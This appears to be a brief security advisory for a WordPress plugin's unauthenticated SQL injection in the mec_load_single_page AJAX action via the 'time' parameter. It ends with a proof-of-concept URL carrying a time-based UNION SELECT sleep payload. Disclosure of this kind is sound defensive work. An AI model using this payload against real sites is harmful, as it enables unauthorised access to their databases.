The plugin does not sanitise and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users, leading to an unauthenticated SQL injection issue
https://example.com/wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(10)%20--%20g